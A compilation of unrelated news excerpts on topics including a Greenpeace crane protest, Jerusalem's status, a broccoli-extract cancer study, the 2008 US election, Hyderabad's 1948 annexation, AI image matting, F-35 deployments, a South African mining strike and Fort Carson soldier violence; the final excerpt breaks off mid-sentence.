-Police say they believe seven protesters who climbed a 270-foot crane at a downtown Washington construction site just blocks from the White House are associated with the environmental group Greenpeace.  Capt. Robert Glover of the Metropolitan Police Department told reporters Wednesday morning that officers were called to the area of 15th and L streets and found three people who weren't authorized to be at the site attached to the crane. He says another four people are now on the crane, too.  Glover says the protesters believed to be associated with Greenpeace told police they're conducting a First Amendment action.  The protests comes a day after President Donald Trump's administration moved to delay implementation of at least 30 environmental rules and froze new Environmental Protection Agency contracts and grant awards.
-Australia is expected to announce as soon as Saturday that it will follow US President Donald Trump's lead and recognise Jerusalem as Israel's capital (AFP Photo/AHMAD GHARABLI)  Vatican City (AFP) - Pope Francis Wednesday defended the "status quo" of Jerusalem, hours ahead of an announcement by US President Donald Trump in which officials said he will recognise the disputed city as Israel's capital.  "I cannot silence my deep concern over the situation that has emerged in recent days. At the same time, I appeal strongly for all to respect the city's status quo, in accordance with the relevant UN resolutions," the pope said in his weekly address.  The Argentine pontiff's call came a day after he spoke by phone with Palestinian president Mahmud Abbas, the Vatican said without elaborating.  "Jerusalem is a unique city, sacred for Jews, Christians and Muslims," he said, adding that it was home to sites deemed holy by followers of the three major monotheistic faiths.  Jerusalem, the pope said, holds a "special vocation for peace".  "I pray to God that this identity is preserved and reinforced, for the sake of the Holy Land, the Middle East and the whole world, and that wisdom and prudence prevail," he said.  The pontiff added that maintaining the status quo was important "in order to avoid adding new elements of tension to an already volatile world that is wracked by so many cruel conflicts".
-She may of not known it, but when your mother used to make you eat at all your greens at dinner, she may have been keeping you cancer-free. A new study has found that an extract from cruciferous vegetables - such as broccoli, cabbage and garden cress - may help mitigate the effects of environmental carcinogens.  That's at least according to researchers at the University of Pittsburgh and the UPMC Cancer Center, who recently announced the preliminary results of new and surprising research at the American Association for Cancer Research's (AACR) Annual Meeting in Philadelphia.  According to the researchers, their work was inspired by past studies and anecdotal evidence indicating that cruciferous vegetables with a high concentration of sulforaphane helps prevent cancer. To determine if this was true, lead author Julie Bauman, co-director of the UPMC center, worked alongside Daniel E. Johnson of the UPCI Head and Neck Cancer Program. The pair administered sulforaphane to mice predisposed to oral cancer and quickly found that it significantly reduced the likelihood that cancer would develop, when compared with an untreated group.  "The clear benefit of sulforaphane in preventing oral cancer in mice raises hope that this well-tolerated compound also may act to prevent oral cancer in humans who face chronic exposure to environmental pollutants and carcinogens," Johnson said in a statement.  The sulforaphane extract used - juice derived from broccoli sprout extract - was then tested in a controlled experiment on 10 healthy volunteers. These initial tests revealed that this natural extract is perfectly safe for human consumption, with no adverse effects detected.  These results will now allow researchers to move to human clinical trials, where they hope to recruit 40 participants at high risk for head and neck cancer recurrence later this year.  "People who are cured of head and neck cancer are still at very high risk for a second cancer in their mouth or throat, and, unfortunately, these second cancers are commonly fatal," Bauman explained. "So we're developing a safe, natural molecule found in cruciferous vegetables to protect the oral lining where these cancers form."  For more great nature science stories and general news, please visit our sister site, Headlines and Global News (HNGN).  - follow Brian on Twitter @BS_ButNoBS
-The year 2008 is far more complex — and exhilarating — than the old templates would have us believe. Of course we’re in pain. More voters think the country is on the wrong track (81 percent) than at any time in the history of New York Times/CBS News polling on that question. George W. Bush is the most unpopular president that any living American has known.  And yet, paradoxically, there is a heartening undertow: we know the page will turn. For all the anger and angst over the war and the economy, for all the campaign’s acrimony, the anticipation of ending the Bush era is palpable, countering the defeatist mood. The repressed sliver of joy beneath the national gloom can be seen in the record registration numbers of new voters and the over-the-top turnout in Democratic primaries.  Mr. Obama hardly created this moment, with its potent brew of Bush loathing and sweeping generational change. He simply had the vision to tap into it. Running in 2008 rather than waiting four more years was the single smartest political decision he’s made (and, yes, he’s made dumb ones too). The second smartest was to understand and emphasize that subterranean, nearly universal anticipation of change rather than settle for the narrower band of partisan, dyspeptic Bush-bashing. We don’t know yet if he’s the man who can make the moment — and won’t know unless he gets to the White House — but there’s no question that the moment has helped make the man.  For five years boomers have been asking, “Why are the kids not in the streets screaming about the war the way we were?” The simple answer: no draft. But as Morley Winograd and Michael D. Hais show in “Millennial Makeover,” their book about the post-1982 American generation, that energy has been plowed into quieter social activism and grand-scale social networking, often linked on the same Web page. The millennials’ bottom-up digital superstructure was there to be mined, for an amalgam of political organizing, fund-raising and fun, and Mr. Obama’s camp knew how to work it. The part of the press that can’t tell the difference between Facebook and, say, AOL , was too busy salivating over the Clintons’ vintage 1990s roster of fat-cat donors to hear the major earthquake rumbling underground.  The demographic reshaping of the electoral map, though more widely noted, still isn’t fully understood. From Rust Belt Ohio through Tuesday’s primaries, cable bloviators have been fixated on the older, white, working-class vote. Their unspoken (and truly condescending) assumption, lately embraced by Mrs. Clinton, is that these voters are Reagan Democrats, cryogenically frozen since 1980, who come in two flavors: rubes who will be duped by a politician backing a gas-tax pander or racists who are out of Mr. Obama’s reach.  Photo  Guess what: there are racists in America and, yes, the occasional rubes (even among Obama voters). Some of them may reside in Indiana, which hasn’t voted for a national Democratic ticket since 1964. But there are many more white working-class voters, both Clinton and Obama supporters, who prefer Democratic policies after seven years of G.O.P. failure. And there is little evidence to suggest that there are enough racists of any class in America, let alone in swing states, to determine the results come fall.  Advertisement Continue reading the main story  As the Times columnist Charles Blow charted last weekend, Mr. Obama’s favorable and unfavorable ratings from white Democrats are both up 5 points since last summer in the Times/CBS poll — a wash despite all the hyperventilating about Mr. Wright and Bittergate. (By contrast, Mrs. Clinton’s favorable rating among black voters fell 36 points while her unfavorable rating rose 17.) Gallup last week found that after the Wright circus Mr. Obama’s white support in a matchup against Mr. McCain is still no worse than John Kerry ’s against President Bush in 2004.  But this isn’t 2004, and the fixation on that one demographic in the Clinton-Obama contest has obscured the big picture. The rise in black voters and young voters of all races in Democratic primaries is re-weighting the electorate. Look, for instance, at Ohio, the crucial swing state that Mr. Kerry lost by 119,000 votes four years ago. This year black voters accounted for 18 percent of the state’s Democratic primary voters, up from 14 percent in 2004, an increase of some 230,000 voters out of an overall turnout leap of roughly a million. Voters under 30 (up by some 245,000 voters) accounted for 16 percent, up from 9 in 2004. Those younger Ohio voters even showed up in larger numbers than the perennially reliable over-65 crowd.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  Good as this demographic shift is for a Democratic ticket led by Mr. Obama, it’s even better news that so many pundits and Republicans bitterly cling to the delusion that the Karl Rove playbook of Swift-boating and race-baiting can work as it did four and eight years ago. You can’t surf to a right-wing blog or Fox News without someone beating up on Mr. Wright or the other predictable conservative piñata, Michelle Obama.  This may help rally the anti-Obama vote. But that contingent will be more than offset in November by mobilized young voters, blacks and women, among them many Clinton-supporting Democrats (and independents and Republicans) unlikely to entertain a G.O.P. candidate with a perfect record of voting against abortion rights. Even a safe Republican Congressional seat in Louisiana fell to a Democrat last weekend, despite a campaign by his opponent that invoked Mr. Obama as a bogeyman.  A few conservatives do realize the game has changed. George Will wrote last week that Mr. Obama was Reaganesque in the stylistic sense that “his manner lulls his adversaries into underestimating his sheer toughness — the tempered steel beneath the sleek suits.” John and Cindy McCain get it too, which is why both last week made a point (he on “The Daily Show,” she on “Today”) of condemning negative campaigning. But even if Mr. McCain keeps his word and stops trying to portray Mr. Obama as the man from Hamas , he can’t disown the Limbaugh axis of right-wing race-mongering. That’s what’s left of his party’s base.
-NEW DELHI: A set of newly declassified files regarding the liberation of Hyderabad in 1948 provides interesting insights into the recent history of Andhra Pradesh , its unification, the end of Nizam’s rule and the faultlines that have contributed further to the creation of Telangana  Several secret coded telegrams sent by the Nizam of Hyderabad over the tense months of 1947-48, after he had declared his intention not to join India and Pakistan, also provide insights into his bitterness and his plan to hire a European prime minister for Hyderabad. The standoff finally ended after India launched Operation Polo to liberate Hyderabad in September, 1948."Gandhi has started his fast with the intention of unifying the Muslims but he is an old fool and his character is doubtful," the Nizam says in one of his several telegrams to his legal advisor Sir Walter Monckton, who played a key role in the Nizam’s negotiations with Lord Mountbatten after Hyderabad declared its intention to remain independent.In another telegram, the Nizam tells Monckton to find a European prime minister for Hyderabad, so as to further firm up his declared independence, which was being opposed by the communists, the Congress and the Indian state. "Try for dominion status for Hyderabad within the Commonwealth. Try to get a European prime minister," according to the Nizam’s telegram to Monckton.According to a note of the Intelligence Bureau (IB), these telegrams were sent by the Nizam to Monckton "in code," after the arrival of K M Munshi as India’s agent general in Hyderabad and Mahatma Gandhi’s fast.The telegrams show that the Nizam was heavily dependent on Monckton to advice him through the crisis. "Come early, the condition in the state is worsening day by day. India government is trying to strangle Hyderabad and is giving all kinds of difficulties. She is encouraging border incidents. These rascals are unnecessarily creating trouble regarding the Rs 20 crore loan to Pakistan. There was nothing wrong in transferring the Indian securities into Pakistan securities. Hyderabad is prepared for the worst. Give also this information to the authorities in England. Come early," the Nizam wires Monckton.In another telegram, the Nizam tells his advisor that Mountbatten is likely to come to Hyderabad and force it to accede to the Indian Union. "If he comes here with that intention, the condition here will worsen as the people would not like that. I have already declared my independence and I am not ready to rescind from that position and accede, whatever may happen. My people are also with me," the Nizam says. And then again appeals to Monckton to come early because Mountbatten was expected to visit in February, 1948.The Nizam also reveals in one of his telegrams that the ‘Stand Still Agreement’ signed on November 29, 1947 with India was only to "mark time".Also among the declassified documents are many other intelligence reports that bring out the deep suspicion that Indian agencies had of British officers of the Indian Army. One assessment says they are mostly "pro-Muslim and are creating as much trouble as they can before they quit India next year", and they must be sent back at the earliest.This particular report — put up by V P Menon for the perusal of Mountbatten — also talks of the need to remove the British brigadier posted in Secunderabad. Among the intelligence reports are also several inputs about the irregular fighters, communists, movement of foreign journalists and others.As tensions further mounted, in August 1948, the agent general was told in a detailed secret report that "aerial gun running is still going on between Karachi and Hyderabad. The planes are mostly landing at Warangal and occasionally at Bidar. Incidents have been reported of two and even three planes arriving the same day. It is through these planes that emissaries of Hyderabad travel to Pakistan and the places abroad".On September 18, 1948, Major General Syed Ahmed El Edroos, the commander-in-chief of the Hyderabad State Forces, surrendered his army to Indian troops under Major General J N Choudhuri, who later became the Army chief. Hyderabad became an independent state between 1948 and 1956, and then it was split up among Andhra Pradesh, Bombay — later divided into Gujarat and Maharashtra — and Karnataka.
-The Stack Archive  News Article  Adobe develops AI-driven approach that could end the age of the ‘green screen’ in movies and VR  Wed 15 Mar 2017  Researchers at Adobe have collaborated with the Beckman Institute for Advanced Science and Technology to develop a new system, based on deep convolutional neural networks, which can extract foreground content from its background intelligently and accurately – and with no need for the blue/green-screen techniques which have dominated cinema for nearly a century.  The paper Deep Image Matting outlines the process of evaluating the object which needs to be ‘clipped’ out of its background, which involved the generation of a novel dataset containing 49300 training images intended to accustom algorithms with the challenges of distinguishing backgrounds and eliminating them.  Traditional methods of extracting actors or elements from backgrounds, so that they can be inserted into other footage, have always centred around recording the elements (actors, miniatures, etc.) to be extracted in front of a flat field of colour, and relying on photochemical or (later) digital procedures to remove the background.  In earlier times, film production workflows generally used blue as a key colour to remove, though Walt Disney studios (which famously took on visual effects work for Alfred Hitchcock’s chiller The Birds) used a sodium-based process which keyed on yellow – however, its greater accuracy was offset by the complexity and weight of the equipment required, and the sodium process never gained widespread industry popularity.  In the last 15-20 years, green has been adopted as a drop-out colour, since it was proved to be present in less foreground material than blue (for the filming of Superman in the late 1970s, it proved necessary to shoot title actor Christopher Reeve in a costume which was nearer violet than the traditional blue of the man of steel, and to tweak the costume’s colour chemically later, so that Reeve did not completely disappear when extracted from a blue background).  Adobe has been at the forefront of this field for at least 27 years. Acclaimed visual effects producer John Knoll, then working as an employee at Lucasfilm’s Industrial Light and Magic (ILM) effects facility, worked with his brother Thomas in the late 1980s to develop the early versions of Photoshop, which pioneered the digital alpha matte and ultimately joined CGI to transform the visual effects landscape. Later these principles were incorporated into the video-effects suite After Effects, and an industry-wide raft of programs which put the Chroma Key compromises of the 1970s to shame.  But the prospect of casual background removal via the use of neural networks seems likely to be a game-changer not only for the VFX industry but also for the much more potentially lucrative VR/AR sphere – which has some issues to face in this particular regard. Naturally latency will be a critical issue in any AI-driven approach to foreground extraction.  Tags:  Please enable JavaScript to view the comments powered by Disqus.
-Data analysis is hard.  What makes it hard is the intuitive aspect of it - knowing the direction you want to take based on the limited information you have at the moment. Additionally, it's communicating the results and showing why your analysis is right that makes this all the more difficult - doing it deeply, at scale, and in a consistent fashion.  Having been a part of many of these deep-dive analyses, I've noticed some "principles" that I've found useful to follow throughout.  Know your approach  Before you begin the analysis, know the questions you're trying to answer and what you're trying to accomplish - don't fall into an analytical rabbit hole. Additionally, you should know some basic things about your potential data - what data sources are available to answer the questions? How is that data structured? Is it in a database? CSVs? Third-party APIs? What tools will you be able to use for the analysis?  Your approach will likely change throughout, but it's helpful to start with a plan and adjust.  Know how the data was generated  Once you've settled on your approach and data sources, you need to make sure you understand how the data was generated or captured, especially if you are using your own company's data.  For instance, let's say you're a data scientist at Amazon and you're doing some analysis on orders. Let's assume there's a table somewhere in the Amazon world called "orders" that stores data about an order. Does this table store incomplete orders? What is the interaction on Amazon.com that creates a new record in this table? If I start an order and do not fully complete the payment flow, will a record have been written to this table? What exactly does each field in the table mean?  You need to know this level of detail in order to have confidence in your analysis - your audience will ask these questions.  Profile your data  Once you're confident you're looking at the right data, you need to develop some familiarity it. Not only will this allow you to gain a basic understanding of what you're looking at, but it also allows you to gain a certain level of comfort that things are still "right" later on in the analysis.  For example, I was once helping a friend analyze a fairly large time series dataset (~10GB). The results of the analysis didn't intuitively jive with me - something felt off. When digging deeper into the analysis, I decided to plot the events by date and noticed we had two days without any data - that shouldn't have been the case.  Profiling your data early on helps to ensure your work throughout the analysis - you'll notice sooner when something is "off."  Facet all the things  I'm increasingly convinced that Simpson's Paradox is one of the most important things for anyone working with data to understand. In cases of Simpson's paradox, a trend appearing in different groups of data disappears when the groups are combined and looked at in aggregate. It illustrates the importance of looking at your data by multiple dimensions.  As an example, take a look at the below table.  The above table shows admission rates for men and women into the University of California, Berkeley's graduate programs for the fall of 1973. Based on the above numbers, the University was sued for an alledged bias against women. However, when faceting the data by sex AND department, we see women were actually admitted into many departments' graduate programs at a rate higher than men.  This is probably the most infamous case of Simpson's paradox. The folks over at Berkeley's VUDLab have put together a fantastic visualization allowing you to explore the data further.  When going through your data, do so with Simpson's paradox in mind. It's extremely important to understand how aggregate statistics can be misleading and why looking at your data from multiple facets is necessary.  Be skeptical  In addition to profiling and faceting your data, you need to be skeptical throughout your analysis. If something doesn't look or feel right, it probably isn't. Pore through your data to make sure nothing unexpected going on, and if there is something unexpected, make sure you understand why it's occurring and are comfortable with it before you proceed.  I'd argue that no data is better than incorrect data in most cases. Make sure the base layer of your analysis is correct.  Think like a trial lawyer  A good trial attorney will prepare their case while also considering how the opposition might respond. When the opposition does present, our attorney will (hopefully) have prepared for that very piece of new evidence or testimony, easily allowing he/she to counter in a meaningful way.  Much like a good trial attorney, you need to think ahead and consider the audience of your analysis and the questions they might ask. Preparing appropriately for those will lend to the credibility of your work. No one likes to hear "I'm not sure, I didn't look at that" and you don't want to be caught flat-footed.  Clarify your assumptions  It's unlikely that your data is perfect and it probably doesn't capture everything you need to complete a thorough and exhaustive analysis - you'll need to hold some assumptions throughout your work. These need to be explicitly stated when you're sharing results.  Additionally, your stakeholders are crucial in helping you determine your assumptions. You should be working with them and other domain experts to ensure your assumptions are logical and unbiased.  Check your work  It seems obvious, but people just don't check their work sometimes. Understandably, there are deadlines, quick turnarounds, and last minute requests; however, I can assure you that your audience would rather your results be correct than quick.  I find it useful to regularly check the basic statistics of the data (sums, counts, etc.) throughout an analysis in order to make sure nothing is lost along the way - essentially creating a trail of breadcrumbs I can follow backwards in case something doesn't seem right later on.  Communicate  Lastly, the whole process should be a conversation with stakeholders - don't work in a silo. It's possible your audience isn't necessarily concerned with decimal point accuracy - maybe they just want to understand directional impact.  In the end, remember that data analysis is most often about solving a problem and that problem has stakeholders - you should be working with them to answer the questions that are most important; not necessarily those that are most interesting. Interesting doesn't always mean "valuable."
-U.S. Marine Corps Fighter Attack Squadron 121, the service’s first overseas-deployed F-35B squadron, is now up to full fighting strength with the arrival of the last three F-35B stealth fighters on November 15, according to a U.S. Pacific Command statement. The squadron now has a full complement of 16 aircraft.  The last three F-35B aircraft of Marine Fighter Attack Squadron 121 arrived at an Iwakuni airbase in Yamaguchi Prefecture, Japan last Wednesday. The F35B is the U.S. Marine Corps variant of the supersonic fifth-generation F-35B Lightning II Joint Strike Fighter, capable of vertical or short takeoffs and vertical landings without requiring a catapult launcher.  The F-35B was developed as a replacement for the Marine Corps’ F/A-18 Hornet, AV-8B Harrier and EA- 6B Prowler aircraft. “The F-35B brings strategic agility, operational flexibility, and tactical supremacy to the Pacific with a mission radius greater than that of the F/A-18 Hornet and AV-8B Harrier II in support of the U.S.- Japan alliance,” according to the U.S. Marine Corps.  The first ten F-35Bs deployed to Japan from Marine Corps Air Station Yuma in Arizona in January. “The unique combination of stealth, cutting-edge radar and sensor technology, and electronic warfare systems bring all of the access and lethality capabilities of a fifth-generation fighter, a modern bomber, and an adverse-weather, all-threat environment air support platform,” the U.S. Marine Corps noted in a January 12 statement.  As I reported previously, the first two of 12 U.S. Air Force F-35A Lightning II — the F-35s conventional takeoff and landing variant — arrived at Kadena Air Base, Okinawa for a six-month rotation earlier in November. “This long-planned deployment is designed to demonstrate the continuing U.S. commitment to stability and security in the region,” said in a press release.  As I explained elsewhere, the United States regional allies, Japan and South Korea, will also soon operationalize their new fleets of F-35 fifth-generation fighter jets to the dismay of China and North Korea:  The Japan Air Self-Defense Force (JASDF) took delivery of its first F-35A fighter jets this year through the U.S. Foreign Military Sales Program. (…) Japan’s Ministry of Defense selected the F-35A in December 2011 following the F-X competitive bidding process. (…) The JASDF is expected to induct a total of 42 new F-35As in the coming years. Another U.S. ally, South Korea, will begin receiving its first F-35As in 2018. The South Korean government has ordered 40 F-35A aircraft with delivery expected to be completed by 2021. South Korea has been considering procuring 20 additional F-35As.  The United States, Japan, and South Korea will not be the only powers operating advanced stealth fighter jets in East Asia. According to Chinese media reports, the People’s Liberation Army Air Force’s (PLAAF) first fifth-generation fighter aircraft, the Chengdu Aerospace Corporation (CAC) J-20 multirole fighter is slated to enter serial production in the coming months.
-80,000 South African Platinum Miners Strike For A Living Wage  More at The Real News  JESSICA DESVARIEUX, TRNN PRODUCER: Welcome to The Real News Network. I’m Jessica Desvarieux in Baltimore.  In South Africa, miners have rejected a 9 percent wage increase offer from the platinum industry as their strike enters its second week. Tens of thousands of members of the Association of Mineworkers and Construction Union, or AMCU, walked off the job last week to protest harsh working conditions. They are also asking for a living wage that will double their current wages. Tensions have been high between the sides, with the media reporting several acts of violence in mining towns.  This is the largest strike in the mining sector since the Marikana strike in 2012. South Africa is the leading supplier of the world’s platinum, and the strike is expected to take a toll on its economy.  Now joining us to discuss all this is Patrick Bond. Patrick is the director of the Centre for Civil Society and professor at the University of KwaZulu-Natal in South Africa.  Thanks for joining us, Patrick.  PATRICK BOND, DIRECTOR, CENTRE FOR CIVIL SOCIETY: It’s great to be back. Thanks, Jessica.  DESVARIEUX: So, Patrick, apartheid ended in South Africa two decades ago, yet we still have low wages, harsh working conditions, and extreme inequality. So can you tell us why these workers are on strike? And what are their demands?  BOND: Well, you’re exactly right that the background is one of desperation. It’s–April 27, 1994–the twentieth anniversary of our liberation coming up. But unemployment is quite a lot higher, about 10 percent higher than then. And the inequality rate, the GINI coefficient, is much higher. Poverty is about the same. So in this context, those who have jobs often need to feed quite a few more people.  In the case of mineworkers, the migrant labor system of apartheid continues. And indeed for the Marikana platinum miners and the others in the Platinum Belt, they often have a family locally plus back in their original home areas, the old bantustans. And that, plus the credit system being completely out of control and massive consumer debt–what are called mashonisas (loan sharks) here have really taken away the pay packets through stop orders, garnishee orders, on these miners’ salaries. So they’ve been demanding an increase from around $400 a month for the starting wage to a starting wage of about USD 1,100. And the big platinum companies don’t, obviously, want to give that kind of concession to some 70,000 workers now on strike. And the price of platinum’s gone up because of the anticipated supply constraint, since South Africa supplies 80 percent of the world market.  The share prices of the companies have gone up, but the South African economy is crashing. Our currency, along with, I suppose, the Argentine peso, really lead the fragile five economies. South Africa was once considered a rising BRIC, one of the Brazil-Russia-India-China-South Africa new bloc, the BRICS bloc.  But it’s a very tumultuous situation, and it’s also with memories a year and a half ago of the massacre of 34 mineworkers in the very same space where this strike is going on. It’s really reminded many in the working class of the need for quite dramatic changes in the political configuration, with an election probably in May, a national election, and with the largest union having just broken away from the ruling party. That’s the metalworkers union, the National Union of Metalworkers, NUMSA. There is a great fluidity that I haven’t seen in my 25 years living in this country.  DESVARIEUX: You mentioned Marikana and the massacre that took place there. Can you speak a little bit more about the significance of the strike being launched from that location?  BOND: It’s so significant because no one’s really found out who ordered these shots to be fired and under what conditions, though for about a year we’ve had a commission looking into this, the Farlam Commission, and it has unveiled some secret police video and emails that are very, very incriminating for the police, because it seems now that instead of the original media reports from August 2012, in which the mineworkers were allegedly charging the police with their machetes, their knives, and then were mowed down by automatic police fire, instead those workers now, with new video tape that was previously unavailable, were actually walking more casually and then began to panic as they saw barbed wire being rolled out. And that Farlam Commission investigation also showed the number-two man in the ruling party, Cyril Ramaphosa, formerly a mineworker leader, having sent some emails–again very incriminating–as a 9 percent owner of Lonmin, the main company under strike at that time, that company then calling in the police, calling in the mining minister. In other words, a very important connection–maybe collusion is the proper word–between big business, big government, and a police force that then, and still today, seems ready to shoot to kill.  Indeed, Jessica, in the same municipality as Marikana, two weeks ago people who were protesting because they didn’t have any water for weeks were then mowed down. Four were shot dead by police–what is reported to be a peaceful protest–another protester shot dead just west of Johannesburg in another mining community last week, and then two days ago two more civilians shot dead in protests against police in another agricultural area north of the mining belt. In other words, the police are now seeming to be quite panicky, using automatic fire, not rubber bullets or tear gas, at the slightest provocation. It’s a very, very dangerous time to be an activist in South Africa.  DESVARIEUX: And, Patrick, I want to speak about the government’s role in all of this and specifically speak about the African National Congress. What is their position on the strike, and what is motivating that position?  BOND: Well, they’re very closely aligned, through the so-called alliance, the big alliance of trade unions, the Congress of South African Trade Unions and the Communist Party and the African National Congress. Critical in that alliance, the glue, really, is the National Union of Mineworkers. Indeed the current general secretary, the sort of political manager of ANC, was a former leader, and indeed the country’s deputy president, Kgalema Motlanthe, was also a former NUM leader. And the new, the incoming deputy president to Jacob Zuma, Cyril Ramaphosa, the man with the Lonmin connections, also had been a NUM leader. So this is the union to have a ladder into government.  And as a result, it seems that this union, which has become very cozy with big business–some call it really the sweetheart union–this union is panicking. It’s lost tens of thousands of its members, who feel that the leadership are too close to corporations and too close to the government. And as a result, from being the largest union in South Africa about a year ago, NUM has now descended to about number four. And what that means for the ANC government is they’ve really lost the confidence of organized workers, at least a large fraction, represented perhaps best by the National Union of Metalworkers, NUMSA. And with the walkout about a month ago of NUMSA away from the ANC alliance, what we now see is a reconfiguration of the left.  This week, NUMSA is holding meetings all over the country, and especially in Johannesburg on Saturday, with its social movement partners that I think in the coming months, maybe years, will become, as it’s been called, the united front of the independent left. So we’re seeing, really, a configuration of independent civil society, social movements, these very, very prolific protesters–last year there were about 1,800 protests that turned violent, according to police statistics. So we have community protests going on–about 30 per day, many of them turning violent.  And these protests are the stuff of what we call popcorn–they pop up, they fall back down. And what they have lacked is the sort of coherence that a major trade union, with its experience of democratic shop floor organizing, has typically given community activists. Twenty-some years ago, every community group that was protesting was invariably led by a seasoned trade unionist. And in the 1990s, many of those trade unionists had better wages. They moved out of the lowest-income communities. And as a result, what we’ve seen in the last few years: huge uprise, protests, but without much direction and no ideology. And that may now change.  On Saturday, a struggle exposition is going to take place in Johannesburg, hosted by the metalworkers, to try to compare notes amongst hundreds of the leading activists in South Africa. And that may mean that the ANC, not in the coming election, but in future elections, municipal elections in 2016 or national election, 2019, may be faced with the Workers Party. Currently, they’re faced with one political threat from the left, the Economic Freedom Fighters, led by Julius Malema, who was a very militant youth leader in the ruling party, and he was kicked out, partly for corruption, but mainly because he questioned the conservatism in the ruling party. And this all means that on the left, quite a lot of explosions are happening. Some say this is the transition from the so-called war of position to a war of movement, to use the terms of Antonio Gramsci. And meanwhile on the right, this week has also seen a merger of the two main classically liberal or, some may say, neoliberal free-market oriented parties, one led by Steve Bico’s former partner, Mamphela Ramphele, the other by the traditionally white centrist party, the Democratic Alliance. And that may mean that this right wing could consolidate some 20 to 25 percent of the vote, and in the May or June election (it’s not yet been called), the ANC may fall from 66 down to the low 50s. And that remains to be seen, but to me it would appear likely that the ruling party is now possibly going to start fragmenting quite badly.  DESVARIEUX: Well, Patrick, we’ll certainly keep tracking this story. Thank you so much for that update.  BOND: Thank you.  DESVARIEUX: And thank you for joining us on The Real News Network.  Patrick Bond is the Director of the Center for Civil Society and Professor at the University of KwaZulu-Natal in South Africa. Bond is the author and editor of the recently released books, Politics of Climate Justice and Durban’s Climate Gamble.
-ALEXANDRIA, Virginia (Reuters) - A Michigan man was sentenced on Friday to four years in prison for trying to get a job with the CIA so he could spy for China, just as Chinese President Hu Jintao was wrapping up his U.S. visit.  Glenn Shriver, 29, pleaded guilty in October to conspiracy to communicate national defense information after admitting he met Chinese officials about 20 times and took about $70,000 from Chinese intelligence officers.  Shriver said at the sentencing hearing he made a “terrible decision” to try to spy for China and “somewhere along the way I got into bed with the wrong people.”  U.S. District Judge Liam O’Grady sentenced Shriver to four years in prison, as called for in the plea agreement, followed by two years of supervised release.  “Mr. Shriver sold out his country and repeatedly sought a position in our intelligence community so that he could provide classified information to the PRC (People’s Republic of China),” U.S. Attorney Neil MacBride said in a statement.  Prosecutors said Shriver was caught before he could begin working at the Central Intelligence Agency and that he never was close to getting access to classified information.  Shriver spent a year during college studying in Shanghai in 2002-2003 and moved there in 2004 to continue his studies and to work. Prosecutors said he responded to an advertisement for a writer on U.S.-Sino relations and the contact he met later introduced him to Chinese intelligence agents.  Shriver took the U.S. Foreign Service exam twice at the State Department, failing both times, but the Chinese still paid him $30,000 for his “friendship” and efforts, according to court papers.  He then applied for a job in the CIA’s National Clandestine Service and demanded $40,000 from the Chinese intelligence officers, according to prosecutors.  During his final employment processing last May, he failed to disclose his contacts and the money he received.  Shriver said he considered the initial contacts “very innocuous” and the offers of money were explained to him as a stipend for living expenses. He said only once did the Chinese contacts say they wanted U.S. secrets.  The sentencing came as Hu wrapped up a four-day visit to the United States that included talks with President Barack Obama and the announcement of numerous commercial deals.  Relations between the two countries have been strained at times over issues including China’s currency policies and its position as the largest foreign holder of U.S. debt, as well as tensions over the nuclear ambitions of Iran and North Korea.
-Motorists in Belchertown were forced to brake for a large moose in traffic on Thursday.  Belchertown resident Ethan Bloomfield captured the incident on video and shared it on his Facebook page. It has been viewed more than 100,000 times.  “I was actually kind of nervous,’’ said Bloomfield about being so close to the moose.  He said he had visions of it jumping on his car.  Bloomfield was on his way to a meeting just before 7 a.m. when he saw a car ahead of him in the distance with its lights flashing and what he thought was a person walking down the middle of the street in front of it, he said.  Advertisement  “As it got closer, I saw that it was a giant moose,’’ he said.  That’s when he grabbed his phone and began taking video.  The video shows a line of cars, with their hazard lights on, following the moose as it walked — ever so slowly — on Route 9.  Belchertown Animal Control Officer Anna Fenton said motorists reacted correctly.  “Slow down and let it go where it’s going,’’ said Fenton. “You really don’t want to startle it and spook it because you don’t know what it’s going to do. It could wind up running into oncoming traffic.’’  Fenton said it’s not uncommon to see moose, deer, and even bears in the western Massachusetts town.  “We have lots of wildlife,’’ she said.  This isn’t the first moose to cross Route 9, which is heavily traveled by wildlife, said Fenton. A couple of years ago, a mother moose and her baby crossed the same road.  Bloomfield said he’s surprised by the moose mania he’s experiencing today — all the social media shares and friends who have reached out with reactions.  “I told my friends, ‘Everything I’ve ever posted, none of you have ever shared [until now]. I’m way more interesting than a moose!’’’  Advertisement
-August 11, 2009  Nicole Colson examines revelations about the acts of violence committed by soldiers returned from Iraq--and how the military is trying to evade responsibility.  "I TOLD them he was a walking time bomb."  That's how Teresa Hernandez remembers describing her son Anthony Marquez--a soldier in the Army's 1st Battalion, 9th Infantry Regiment--to his sergeant at Fort Carson, Colo., after Marquez returned from a tour of duty in Iraq. Teresa had become alarmed, she told the Associated Press, because her son "was showing signs of violent behavior, abusing alcohol and pain pills, and carrying a gun."  But rather than take her concerns seriously, the sergeant dismissed them--and even used his mother's phone call to berate Marquez, taunting him about it.  In 2006, Marquez became the first soldier from his unit to murder someone in the U.S. after a tour in Iraq. Three days before he was scheduled to be honorably discharged because of a dispute over a marijuana sale, he used a stun gun to shock a drug dealer in Widefield, Colo., and then shot and killed him.  But Anthony Marquez wasn't the only soldier from his unit to kill at home. In all, 14 Fort Carson soldiers--including 10 infantrymen from the 4th Brigade Combat Team--have been accused of murder, attempted murder or manslaughter after coming back from Iraq between 2005 and 2008. Four more soldiers from other Fort Carson units committed suicide during the same period.  Combat exposure and post-traumatic stress are factors for soldiers who commit violence back at home (U.S. Army)  Most of those accused of killing were from a 500-soldier unit within the brigade, called the 2nd Battalion, 12th Infantry Regiment, which nicknamed itself the "Lethal Warriors."  According to the Colorado Springs Gazette, the list of alleged violent incidents includes:  -- The rape and murder of 19-year-old Judilianna Lawrence last October. Prosecutors have charged a Fort Carson soldier. The killing of Cesar Ramirez Ibanez and Amairany Cervantes, who were mowed down with an AK-47. A soldier is charged. The shooting death of Spc. Kevin Shields in December 2007. Three soldiers are in prison for that. A few months earlier, Pfc. Robert James was shot to death in a robbery. Two soldiers are doing time for it. Before that, a taxi driver in Pueblo, Colo., was gunned down by a Fort Carson GI, who has since been convicted... One soldier killed his infant. Another killed a friend with a fireplace poker. Another killed his wife and then himself.  Taken together, the crimes were so startling that, once the media began asking questions about the possible link between these violent incidents and the soldiers' military service, the Army began a study of Fort Carson servicemen.  What else to read The 